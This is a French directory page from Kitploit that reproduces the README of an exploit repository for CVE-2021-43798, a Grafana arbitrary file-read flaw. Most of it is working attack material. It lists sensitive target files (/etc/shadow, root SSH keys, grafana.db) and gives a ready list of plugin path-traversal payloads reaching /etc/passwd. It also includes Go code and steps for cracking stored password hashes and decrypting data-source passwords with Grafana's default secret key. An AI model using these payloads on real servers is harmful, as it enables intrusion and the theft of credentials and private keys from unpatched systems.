Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Grafana-CVE-2021-43798 — Vulnérabilité de lecture arbitraire de fichiers non autorisée dans Grafana | Kitploit
Outils/GitHubGitHub/jas502n/grafana-cve-2021-43798
Cassage de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'Informations
GitHubjas502n/grafana-cve-2021-43798

Grafana-CVE-2021-43798

Vulnérabilité de lecture arbitraire de fichiers non autorisée dans Grafana

Voir le dépôt
3698534il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-43798 Vulnérabilité de lecture arbitraire de fichiers non autorisée dans Grafana

8.3.1 (2021-12-07) Sécurité : Correction de CVE-2021-43798 . Pour plus d'informations, consultez notre blog

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

image image

Exemple : obtenir le mot de passe de la base de données

/var/lib/grafana/grafana.db

image

Vérification en clair du mot de passe avec sel https://github.com/grafana/grafana/blob/985c61d7008211e0fbee7d095bf3424adf71b4ac/pkg/util/encoding.go image

package main

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"golang.org/x/crypto/pbkdf2"
)

// EncodePassword encodes a password using PBKDF2.
func EncodePassword(password string, salt string) string {
	newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New)
	return hex.EncodeToString(newPasswd)
}

func main() {
	fmt.Println(EncodePassword("admin", "F3FAxVm33R"))
}


image image

Configuration /etc/grafana/grafana.ini

bash-5.1$ ps -ef |grep grafana
    1 grafana   0:35 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning

Assurer le chiffrement des secrets des sources de données

Par défaut, les sources de données stockent les mots de passe et les mots de passe d'authentification de base dans secureJsonData chiffrés (AES-256 en mode CFB). Les sources de données existantes continueront à fonctionner avec des mots de passe non chiffrés. Si vous souhaitez migrer vers un stockage chiffré pour vos sources de données existantes, vous pouvez le faire en :

  • Pour les sources de données créées via l'interface utilisateur, vous devez accéder à la configuration de la source de données, saisir à nouveau le mot de passe ou le mot de passe d'authentification de base et enregistrer la source de données.
  • Pour les sources de données créées par provisionnement, vous devez mettre à jour votre fichier de configuration et utiliser le champ secureJsonData.password ou secureJsonData.basicAuthPassword. Consultez la [documentation sur le provisionnement]({{< relref "../administration/provisioning" >}}) pour un exemple de configuration actuelle.

https://github.com/grafana/grafana/blob/main/pkg/util/encryption.go

image

Déchiffrer le mot de passe

Par exemple : obtenez le texte chiffré de la source de données R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q== à partir de la base de données /var/lib/grafana/grafana.db, puis lisez la secret_key (par défaut : SW2YcwTIb9zpOOhoPsMm) dans /etc/grafana/grafana.ini pour déchiffrer

$ go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
[*] plainText= jas502n

Chiffrer le mot de passe

Par exemple : chiffrez le mot de passe en clair jas502n avec la clé pour obtenir le texte chiffré

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] PlainText= jas502n
[*] EncodePassword= QWhMOFdNZkqW6bx9YM0dPHMjzInsvycQXgMmMfFqpA==

Autres attaques

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline
Nombre de plugins par défaut : 40
Nombre de succès : 48

Contourner l'erreur de proxy nginx de Grafana 400

https://twitter.com/chybeta/status/1468410745264041992

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x0 Liste des plugins par défaut installés (40) :

http://x.x.x.x:3000/api/plugins?embedded=0

Télécharger l’outil